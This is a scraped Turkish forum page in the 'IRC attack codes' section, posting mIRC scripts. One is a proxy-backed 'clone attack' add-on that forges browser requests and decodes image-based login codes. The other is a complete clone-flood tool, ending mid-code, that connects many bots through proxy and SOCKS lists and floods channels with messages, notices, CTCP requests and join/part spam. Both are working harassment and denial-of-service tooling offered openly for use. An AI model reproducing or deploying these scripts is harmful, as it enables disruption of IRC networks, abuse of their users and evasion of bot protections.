var %p.b.cloning.tsn = GET %p.b.cloning.prt2 HTTP/1.1 $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive
if ($calc($ctime - %p.act.cloning.see.c.burl.tt) < 86400) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf | set %p.act.cloning.see.c.burl.tt $ctime }
;unset %p.cloning.b.lng
;sockwrite -nt $sockname %p.b.cloning.tsn
;.timerp.cloning.BB 1 2 .sockclose $sockname
}
else {
var %p.b.cloning.tsn = $iif(http:// isin %p.cloning.b.lng.l,GET / HTTP/1.1,GET / $+ %p.cloning.b.lng.l HTTP/1.1)
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: $iif($chr(63) isin %p.cloning.b.lng.l,%p.b.cloning.prt3,$remove(%p.cloning.b.lng.l,http://)) $+ $crlf $+ Connection: Keep-Alive
if ($chr(63) isin %p.cloning.b.lng.l) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf }
}
sockwrite -nt $sockname %p.b.cloning.tsn
}
}
on 1:sockclose:p.b.cloning?: { if (!$sock(p.b.cloning?,2)) && ($sockname != p.b.cloning1) { unset %p.cloning.b.lng* } }
on 1:sockread:p.b.cloning?: {
if ($sockerr == 0) {
sockread %p.cloning.b.lng.r
if ($gettok(%p.cloning.b.lng.r,1,32) == Location:) {
set %p.cloning.b.lng.l $gettok(%p.cloning.b.lng.r,2,32)
var %i = 3 | while ($sock(p.b.cloning [ $+ [ %i ] ],1)) { var %i = %i + 1 }
if (!$sock(p.b.cloning [ $+ [ %i ] ],1)) && ($chr(63) isin %p.cloning.b.lng.l) { p.cloning.bbdo %i $iif($chr(63) !isin %p.cloning.b.lng.l,$remove(%p.cloning.b.lng.l,http://)) }
}
}
}
alias -l p.cloning.bbdo {
if (%p.act.cloning.see.c.bcon == 1) && (%p.act.cloning.see.c.burl) {
var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
var %p.b.cloning.1p = $gettok(%p.b.cloning.1,1,44)
var %p.b.cloning.prt = $gettok(%p.b.cloning.1,2,44)
if ($2) { .sockopen p.b.cloning $+ $$1 $2 80 }
elseif (%p.b.cloning.1p) && (%p.b.cloning.prt) { .sockopen p.b.cloning $+ $$1 %p.b.cloning.1p %p.b.cloning.prt }
}
}
;Flood Proxy Destekli Clone Saldırı Yapımcısı
alias yapimci { dialog -m yapimci yapimci }
dialog yapimci {
title "«[ Proxy Saldırı ßy ZaiL ]» "
size -1 -1 245 250
box "wWw.zrTasarim.Com.Tr & wWw.zrTasarim.Com" 1, 1 1 245 250
text "* Flood Proxy Destekli Clone Saldırı *" 2, 25 15 200 15
text "Addon Yapımcısı: ZaiL" 3, 50 30 200 15
text "E-Mail: MsnAdmin@Msn.Com.Tr" 4, 50 45 200 15
text "Web: www.zrTasarim.Com.Tr" 5, 50 60 200 15
text "IRC: irc.tanem.net" 6, 50 75 200 15
text "Hazırlanma Tarihi: 2009" 7, 50 90 200 15
text "_________________________________________________________" 8, 20 105 200 15
text "Gerekli bilgileri Host/Ip Kısmına Adresimizi yaziyoruz Port: portunu yaziniz.Clone Sayısı 50 yapiniz azaldıkca artirin, Mod yapacaginiz saldiri türünüz giriniz.gecikme botun giris araligidir saldiri icin 0 uygun.Firewall kısmında saldiri şeklimize gore proxyleri giriyoruz.Özelliklerden Nick belirterek belirledigimiz nickleri kullana biliriz yada direk baglan diyerek rast gele nicklerle bot girisi yabiliriz.Emege saygi Gösterin." 9, 20 120 220 145
}
alias botfnick {
return $remove($gettok($1,1,33),:)
}
alias giriskod {
if ( %kodsatir == $null ) || ( %kodsatir == 8 ) { set %kodsatir 1 }
if ( $2- != 0,0##########0,0##########0,0########## ) {
hadd -m kod satir $+ %kodsatir $2-
inc %kodsatir
}
if ( %kodsatir == 8 ) { kod $1 }
}
alias kod {
hadd -m kod0 satir1 0,0##4######0##
hadd -m kod0 satir2 0,0#4##0####4##0#
hadd -m kod0 satir3 0,0#4##0####4##0#
hadd -m kod0 satir4 0,0#4##0####4##0#
hadd -m kod0 satir5 0,0#4##0####4##0#
hadd -m kod0 satir6 0,0#4##0####4##0#
hadd -m kod0 satir7 0,0##4######0##
hadd -m kod1 satir1 0,0###4###0####
hadd -m kod1 satir2 0,0##4####0####
hadd -m kod1 satir3 0,0#4#####0####
hadd -m kod1 satir4 0,0####4##0####
hadd -m kod1 satir5 0,0####4##0####
hadd -m kod1 satir6 0,0####4##0####
hadd -m kod1 satir7 0,0#4########0#
hadd -m kod2 satir1 0,0##4######0##
hadd -m kod2 satir2 0,0#4##0####4##0#
hadd -m kod2 satir3 0,0#######4##0#
hadd -m kod2 satir4 0,0######4##0##
hadd -m kod2 satir5 0,0#####4##0###
hadd -m kod2 satir6 0,0###4##0#####
hadd -m kod2 satir7 0,0#4########0#
hadd -m kod3 satir1 0,0#4#######0##
hadd -m kod3 satir2 0,0#######4##0#
hadd -m kod3 satir3 0,0#######4##0#
hadd -m kod3 satir4 0,0#4#######0##
hadd -m kod3 satir5 0,0#######4##0#
hadd -m kod3 satir6 0,0#######4##0#
hadd -m kod3 satir7 0,0#4#######0##
hadd -m kod4 satir1 0,0#4##0#######
hadd -m kod4 satir2 0,0#4##0#######
hadd -m kod4 satir3 0,0#4##0##4##0###
hadd -m kod4 satir4 0,0#4##0##4##0###
hadd -m kod4 satir5 0,0#4##0##4##0###
hadd -m kod4 satir6 0,0#4########0#
hadd -m kod4 satir7 0,0#0####4##0###
hadd -m kod5 satir1 0,0#4########0#
hadd -m kod5 satir2 0,0#4#0########
hadd -m kod5 satir3 0,0#4#0########
hadd -m kod5 satir4 0,0#4#######0##
hadd -m kod5 satir5 0,0########4#0#
hadd -m kod5 satir6 0,0########4#0#
hadd -m kod5 satir7 0,0#4#######0##
hadd -m kod6 satir1 0,0##4#######0#
hadd -m kod6 satir2 0,0#4##0#######
hadd -m kod6 satir3 0,0#4##0#######
hadd -m kod6 satir4 0,0#4#######0##
hadd -m kod6 satir5 0,0#4##0####4##0#
hadd -m kod6 satir6 0,0#4##0####4##0#
hadd -m kod6 satir7 0,0##4######0##
hadd -m kod7 satir1 0,0#4########0#
hadd -m kod7 satir2 0,0#######4##0#
hadd -m kod7 satir3 0,0######4##0##
hadd -m kod7 satir4 0,0#####4##0###
hadd -m kod7 satir5 0,0####4##0####
hadd -m kod7 satir6 0,0###4##0#####
hadd -m kod7 satir7 0,0##4##0######
hadd -m kod8 satir1 0,0##4######0##
hadd -m kod8 satir2 0,0#4##0####4##0#
hadd -m kod8 satir3 0,0#4##0####4##0#
hadd -m kod8 satir4 0,0##4#4#####0##
hadd -m kod8 satir5 0,0#4##0####4##0#
hadd -m kod8 satir6 0,0#4##0####4##0#
hadd -m kod8 satir7 0,0##4######0##
hadd -m kod9 satir1 0,0##4######0##
hadd -m kod9 satir2 0,0#4##0####4##0#
hadd -m kod9 satir3 0,0#4##0####4##0#
hadd -m kod9 satir4 0,0##4#######0#
hadd -m kod9 satir5 0,0#######4##0#
hadd -m kod9 satir6 0,0#######4##0#
hadd -m kod9 satir7 0,0##4######0##
var %giriskod1 $kontrol(1)
var %giriskod2 $kontrol(2)
var %giriskod3 $kontrol(3)
hfree kod
hfree kod0
hfree kod1
hfree kod2
hfree kod3
hfree kod4
hfree kod5
hfree kod6
hfree kod7
hfree kod8
hfree kod9
unset %kodsatir
if ( %giriskod1 == $null ) || ( %giriskod2 == $null ) || ( %giriskod3 == $null ) { echo -a Giriş Kodu Bulunamadı! | halt }
if $sock($1) { SockWrite -nt $1 giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
if $1 == $me { giris %giriskod1 $+ %giriskod2 $+ %giriskod3 }
}
alias kontrol {
if ( $1 == $null ) { echo -a eksik | halt }
if ( $1 = 1 ) {
var %aralikba 1
var %aralikbi 30
}
if ( $1 = 2 ) {
var %aralikba 15
var %aralikbi 30
}
if ( $1 = 3 ) {
var %aralikba 35
var %aralikbi 50
}
var %ii -1
var %tt 9
while %ii < %tt {
inc %ii
;echo -a Kontrol Edilen Değer %ii
var %i 0
var %t 7
var %ttoplam 0
while %i < %t {
inc %i
;echo -a $mid($hget(kod, satir $+ %i), %aralikba, %aralikbi)
if ( $hget(kod $+ %ii, satir $+ %i) != $null ) {
if ( * $+ $hget(kod $+ %ii, satir $+ %i) $+ * iswm $mid($hget(kod, satir $+ %i),%aralikba,%aralikbi) ) {
inc %ttoplam 2
}
}
}
if ( %ttoplam == 14 ) { return %ii }
}
}
|
|
|
|
|
CLONE SALDIRI Kodu |
|
Yazar: Admin - 02-21-2020, 03:29 AM - Forum: İRC SALDIRI KODLARI
- Yorum Yok
|
|
CLONE SALDIRI Kodu
Kod: menu menubar,nicklist,Channel,status {
-
Clone-Script:/Dialog -md Clone Clone
}
dialog Clone {
title "Clone"
size -1 -1 577 512
option pixels
tab "Settings", 75, 8 8 559 463
box "Ayarlar", 1, 16 33 348 78, tab 75
edit "irc.Siteadı.com", 2, 66 53 218 21, tab 75 autohs
text "Server:", 3, 24 57 34 16, tab 75
edit "6667", 4, 312 53 44 21, tab 75 limit 5
text "Port:", 100, 288 57 22 16, tab 75
text "Protocol:", 5, 24 83 42 16, tab 75
combo 6, 66 80 80 114, tab 75 size drop
text "Connections:", 9, 156 83 66 16, tab 75
edit "1", 10, 219 80 44 21, tab 75 limit 4000
check "CTCP Replies", 81, 276 82 80 20, tab 75
box "Debug", 89, 16 115 348 44, tab 75
combo 88, 24 132 71 20, group, tab 75
radio "Debug ON", 87, 143 132 66 20, tab 75
check "Hide Server Pings", 86, 256 132 102 20, tab 75
box "Nickname and Real Name", 8, 16 163 348 124, tab 75
radio "Random", 11, 24 179 58 20, group, tab 75
radio "Nicklist:", 12, 24 203 54 20, tab 75
radio "Other:", 13, 24 227 54 20, tab 75
edit "", 14, 80 203 204 20, disable tab 75 autohs
edit "", 15, 80 227 204 20, disable tab 75 limit 1000
button "&Browse", 16, 288 203 68 20, disable tab 75
text "Real Name:", 82, 24 259 56 16, tab 75
edit "http://www.siteadı.com", 85, 80 257 204 21, tab 75 autohs limit 70
box "On Connect", 7, 16 291 348 169, tab 75
text "UserMode:", 17, 24 315 50 16, tab 75
edit "+iwTx", 18, 80 312 60 20, tab 75
edit "join #Sohbet,#Radyo,#yarisma,#kelime,#oyun", 19, 24 355 332 97, tab 75 multi return autohs autovs
text "Raw IRC Commands:", 20, 24 339 106 16, tab 75
box "Proxy/Socks List", 26, 371 33 188 427, tab 75
text "Host:", 27, 379 56 26 16, tab 75
text "Port:", 28, 379 80 26 16, tab 75
edit "", 29, 411 53 140 20, tab 75 limit 15
edit "", 30, 411 77 140 20, tab 75 limit 50
button "Add", 31, 379 103 83 20, tab 75
button "Remove", 32, 468 103 83 20, tab 75
button "Import File", 33, 379 127 83 20, tab 75
button "Clipboard", 83, 468 127 83 20, tab 75
list 34, 379 153 172 257, tab 75 size multsel
text "Number of Proxies:", 101, 379 414 93 12, tab 75
text "0", 102, 476 414 25 12, tab 75
button "Remove All", 35, 379 431 172 22, tab 75
tab "Actions", 76
box "Nicklist", 37, 16 33 156 363, tab 76
list 38, 24 49 140 315, tab 76 size extsel
box "Flood", 92, 179 119 380 96, tab 76
button "Flood", 55, 187 135 67 21, disable tab 76
text "No.Sends:", 116, 260 139 50 20, tab 76
edit "", 117, 310 135 32 21, tab 76 autohs
text "Delay(secs):", 94, 354 139 60 20, tab 76
edit "", 95, 414 135 32 21, tab 76 autohs
text "Repeat every(secs):", 98, 458 131 60 28, tab 76
edit "", 99, 519 135 32 21, tab 76 autohs
combo 91, 187 162 67 75, tab 76 size drop
edit "", 56, 259 162 84 21, tab 76 autohs
edit "", 57, 347 162 204 21, tab 76 autohs
check "Msg+Change Nick 3 times", 96, 188 190 140 20, tab 76
check "Random Text", 97, 363 190 82 20, tab 76
button "Halt Flood", 93, 484 189 67 21, tab 76
box "Other", 90, 179 219 380 241, tab 76
button "Join", 41, 187 235 67 21, disable tab 76
edit "", 42, 259 235 84 21, tab 76 autohs
button "Part", 43, 187 259 67 21, disable tab 76
edit "", 44, 259 259 84 21, tab 76 autohs
edit "", 45, 347 259 204 21, tab 76 autohs
button "Join Part", 46, 187 283 67 21, disable tab 76
edit "", 47, 259 283 84 21, tab 76 autohs
edit "", 48, 347 283 204 21, tab 76 autohs
button "Message", 49, 187 307 67 21, disable tab 76
edit "", 50, 259 307 84 21, tab 76 autohs
edit "", 51, 347 307 204 21, tab 76 autohs
button "Notice", 52, 187 331 67 21, disable tab 76
edit "", 53, 259 331 84 21, tab 76 autohs
edit "", 54, 347 331 204 21, tab 76 autohs
button "CTCP", 58, 187 355 67 21, disable tab 76
edit "", 59, 259 355 84 21, tab 76 autohs
combo 60, 347 355 204 76, tab 76 size edit drop
button "DCC Send", 61, 187 379 67 21, disable tab 76
edit "", 62, 259 379 84 21, tab 76 autohs
edit "", 63, 347 379 204 21, tab 76 autohs
button "DCC Chat", 64, 187 403 67 21, disable tab 76
edit "", 65, 259 403 84 21, tab 76 autohs
button "Raw", 73, 187 427 67 21, disable tab 76
edit "cycle #Sohbet,#Radyo,#yarisma,#kelime,#oyun", 74, 259 427 292 25, tab 76 multi return autohs autovs vsbar
box "Nick", 36, 179 33 380 82, tab 76
button "Nick", 66, 187 65 67 20, tab 76
radio "Nicklist:", 68, 259 65 54 20, tab 76
radio "Other:", 69, 259 88 54 20, tab 76
edit "", 71, 315 88 164 20, disable tab 76 limit 1000
radio "Random", 67, 259 42 58 20, tab 76
button "Browse", 72, 484 65 67 20, disable tab 76
edit "", 70, 315 65 164 20, disable tab 76 autohs
text "Perform:", 39, 24 372 42 16, tab 76
combo 40, 72 368 92 60, tab 76 size drop
box "Statistics", 21, 16 400 156 60, tab 76
text "Total Connections:", 23, 24 436 92 16, tab 76
text "Connected Clones:", 22, 24 420 92 16, tab 76
text "0", 24, 120 420 42 16, tab 76
text "0", 25, 120 436 42 16, tab 76
button "&Connect", 77, 8 480 83 25
button "&Disconnect", 78, 96 480 83 25
button "&Exit", 79, 488 480 81 25
button "Connected Proxies", 80, 371 480 112 25
button "Close Sockets", 84, 184 480 83 25
}
On *:Dialog:Clone:Init:*: {
Did -a $DName 6 Normal
Did -a $DName 6 Proxy
Did -a $DName 6 Socks4
Did -a $DName 6 Socks5
Did -a $DName 6 Socks4&5
Did -c $DName 6 5
Did -a $DName 40 All
Did -a $DName 40 Selected
Did -c $DName 40 1
Did -a $DName 60 PING
Did -a $DName 60 TIME
Did -a $DName 60 VERSION
Did -c $DName 11
Did -c $DName 67
Did -c $DName 86
Did -c $DName 87
Did -a $DName 91 CTCP
Did -a $DName 91 NOTICE
Did -a $DName 91 PRIVMSG
Did -c $DName 91 1
}
On *:Dialog:Clone:Edit:*: {
If ($Did == 42) {
If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32))
Else { Did -b $DName 41 }
}
If ($Did == 44) {
If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 }
Else { Did -b $DName 43 }
}
If ($Did == 47) {
If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 }
Else { Did -b $DName 46 }
}
If ($Did == 50) {
If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
Else { Did -b $DName 49 }
}
If ($Did == 51) {
If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 }
Else { Did -b $DName 49 }
}
If ($Did == 53) {
If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 }
Else { Did -b $DName 52 }
}
If ($Did == 54) {
If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 }
Else { Did -b $DName 52 }
}
If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 1) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 1) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 1) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 56) && ($Did(96).State == 1) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 57) && ($Did(96).State == 1) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 95) && ($Did(96).State == 1) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 99) && ($Did(96).State == 1) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(99) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 1) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 1) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 1) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 56) && ($Did(96).State == 0) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 57) && ($Did(96).State == 0) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 95) && ($Did(96).State == 0) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 117) && ($Did(96).State == 0) && ($Did(97).State == 0) {
If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) && ($Did(95) isnum) && ($Did(117) isnum) { Did -e $DName 55 }
Else { Did -b $DName 55 }
}
If ($Did == 59) {
If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
Else { Did -b $DName 58 }
}
If ($Did == 60) {
If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 }
Else { Did -b $DName 58 }
}
If ($Did == 62) {
If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
Else { Did -b $DName 61 }
}
If ($Did == 63) {
If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 }
Else { Did -b $DName 61 }
}
If ($Did == 65) {
If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 }
Else { Did -b $DName 64 }
}
If ($Did == 74) {
If ($Len($Did(74)) >= 1) { Did -e $DName 73 }
Else { Did -b $DName 73 }
}
If ($Did == 70) {
If ($Did(70)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
If ($Did == 71) {
If ($Did(71)) { Did -e $DName 66 }
Else { Did -b $DName 66 }
}
}
On *:Dialog:Clone:Close:*: {
SockClose Clone.*
}
Alias Clone.Error { Var %E = $Input($1-,o,Clone) }
Alias Clone.RandomText {
var %words = $rand(1,10), %r1
while (%words) {
var %letters = $rand(1,10), %r2
while (%letters) {
var %r2 = %r2 $+ $rand(a,z)
dec %letters
}
var %r1 = %r1 %r2
dec %words
}
return %r1
}
Alias genVars {
var %i = $Did(Clone,38,0).sel, %t = 0, %n, %all
while (%i) {
var %x = 1
while ($sock(Clone.*,%x) && $sock(Clone.*,%x).mark != $did(clone,38,$did(Clone,38,%i).sel).text) { inc %x }
if ($sock(Clone.*,%x).mark == $did(clone,38,$did(Clone,38,%i).sel).text) { var %n = $sock(Clone.*,%x) }
if ($calc($len(%n) + 1 + $len(%all)) > 900) {
set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
inc %t
var %all
}
var %all = $addtok(%all,%n,32)
dec %i
}
set -e %botnicklistvariable. [ $+ [ $1 ] $+ ] - [ $+ [ %t ] ] %all
}
Alias Clone.Actions {
If ($1 == :KEY:) {
var %key = $2
tokenize 32 $3-
}
If ($1 == All) {
Var %I = 1
While ($Sock(Clone.*,%I)) {
If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) NOTICE $3- | SockWrite -nt $Sock(Clone.*,%I) PART $3- }
ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) }
ElseIf ($2 == NICK) {
If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Lower($Clone.RandNick($Rand(5,7))) }
If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) }
If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
}
Else { SockWrite -nt $Sock(Clone.*,%I) $2- }
Inc %I
}
}
If ($1 == Selected) {
If (!%key) return
var %s = $+($chr(37),botnicklistvariable.,%key,-,*),%j = $Sock(Clone.*,0)
While (%j) {
var %i = $var($eval(%s,1),0)
while (%i) {
If ($istok($eval($var($eval(%s,1),%i),2),$Sock(Clone.*,%J),32)) {
If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) NOTICE $3- | SockWrite -nt $Sock(Clone.*,%J) PART $3- }
ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) }
ElseIf ($2 == NICK) {
If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Lower($Clone.RandNick($Rand(5,7))) }
If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) }
If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) $+ $Clone.RandNick(2) }
}
Else { SockWrite -nt $Sock(Clone.*,%J) $2- }
}
Dec %I
}
Dec %J
}
}
}
Alias Clone.Flood {
var %key = $left($md5($ticks),10)
genVars %key
If ($Did(91) == CTCP) && ($Did(99) isnum) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+ }
}
If ($Did(91) == CTCP) && ($Did(99) !isnum) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) $+
}
If ($Did(91) == NOTICE) && ($Did(99) isnum) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57) }
}
If ($Did(91) == NOTICE) && ($Did(99) !isnum) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) NOTICE $Did(Clone,56) : $+ $did(Clone,57)
}
If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o 0 $Did(Clone,99) { .TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $did(Clone,117) $did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57) }
}
If ($Did(91) == PRIVMSG) && ($Did(99) !isnum) && ($Did(96).State == 0) && ($Did(97).State == 0) {
.TimerFlood. $+ $Rand(A,Z) $+ $Rand(A,Z) $+ $Rand(1000,9999) $+ $Rand(A,Z) $+ $Rand(A,Z) -o $Did(Clone,117) $Did(Clone,95) Clone.Actions :KEY: %key $Did(Clone,40) PRIVMSG $Did(Clone,56) : $+ $did(Clone,57)
}
If ($Did(91) == PRIVMSG) && ($Did(99) isnum) && ($Did(96).State == 0) && ($Did(97).State == 1) {
